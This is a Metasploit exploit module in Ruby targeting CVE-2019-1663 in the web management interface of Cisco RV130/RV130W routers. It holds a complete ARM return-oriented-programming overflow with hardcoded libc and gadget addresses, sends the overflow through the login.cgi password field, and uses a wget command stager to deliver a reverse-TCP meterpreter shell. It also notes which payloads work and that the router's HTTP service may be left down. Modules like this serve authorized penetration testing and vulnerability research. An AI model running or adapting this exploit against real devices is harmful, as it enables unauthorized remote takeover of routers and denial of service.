##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# linux/armle/meterpreter/bind_tcp -> segfault
# linux/armle/meterpreter/reverse_tcp -> segfault
# linux/armle/meterpreter_reverse_http -> works
# linux/armle/meterpreter_reverse_https -> works
# linux/armle/meterpreter_reverse_tcp -> works
# linux/armle/shell/bind_tcp -> segfault
# linux/armle/shell/reverse_tcp -> segfault
# linux/armle/shell_bind_tcp -> segfault
# linux/armle/shell_reverse_tcp -> segfault
#
class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco RV130W Routers Management Interface Remote Command Execution',
      'Description'    => %q{
        A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router
         could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.

         The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
         An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.

         A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
          system of the affected device as a high-privilege user.

        RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.

        Note: successful exploitation may not result in a session, and as such,
         on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
      },
      'Author'         =>
        [
          'Yu Zhang', # Initial discovery
          'Haoliang Lu', # Initial discovery
          'T. Shiomitsu', # Initial discovery
          'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev
        ],
      'License'         => MSF_LICENSE,
      'Platform'        =>  %w[linux],
      'Arch'            =>  [ARCH_ARMLE],
      'SessionTypes'    =>  %w[meterpreter],
      'CmdStagerFlavor' => %w{ wget },
      'Privileged'      => true, # BusyBox
      'References'      =>
        [
          ['CVE', '2019-1663'],
          ['BID', '107185'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
        ],
      'DefaultOptions' => {
          'WfsDelay' => 10,
          'SSL' => true,
          'RPORT' => 443,
          'CMDSTAGER::FLAVOR' => 'wget',
          'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
       },
      'Targets'        =>
        [
          [ 'Cisco RV130/RV130W < 1.0.3.45',
            {
              'offset'          => 446,
              'libc_base_addr'  => 0x357fb000,
              'system_offset'   => 0x0004d144,
              'gadget1'         => 0x00020e79, # pop {r2, r6, pc};
              'gadget2'         => 0x00041308, # mov r0, sp; blx r2;
              'Arch'            => ARCH_ARMLE,
            }
          ],
        ],
      'DisclosureDate'  => 'Feb 27 2019',
      'DefaultTarget'   => 0,
      'Notes' => {
        'Stability'   => [ CRASH_SERVICE_DOWN, ],
      },
    ))
  end

  def p(offset)
    [(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse
  end

  def prepare_shellcode(cmd)
    #All these gadgets are from /lib/libc.so.0
    shellcode = rand_text_alpha(target['offset']) +       # filler
      p(target['gadget1']) +
      p(target['system_offset']) +                        # r2
      rand_text_alpha(4) +                                # r6
      p(target['gadget2']) +                              # pc
      cmd
    shellcode
  end

  def send_request(buffer)
    begin
      send_request_cgi({
        'uri'     => '/login.cgi',
        'method'  => 'POST',
        'vars_post' => {
              "submit_button": "login",
              "submit_type": "",
              "gui_action": "",
              "wait_time": 0,
              "change_action": "",
              "enc": 1,
              "user": rand_text_alpha_lower(5),
              "pwd": buffer,
              "sel_lang": "EN"
          }
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
    end
  end

  def exploit
    print_status('Sending request')
    execute_cmdstager
  end

  def execute_command(cmd, opts = {})
    shellcode = prepare_shellcode(cmd.to_s)
    send_request(shellcode)
  end

  def on_new_session(session)
    # Given there is no process continuation here, the httpd server will stop
    # functioning properly and we need to take care of proper restart
    # ourselves.
    print_status("Reloading httpd service")
    reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""
    else
      session.shell_command(reload_httpd_service)
    end
  ensure
    super
  end
end
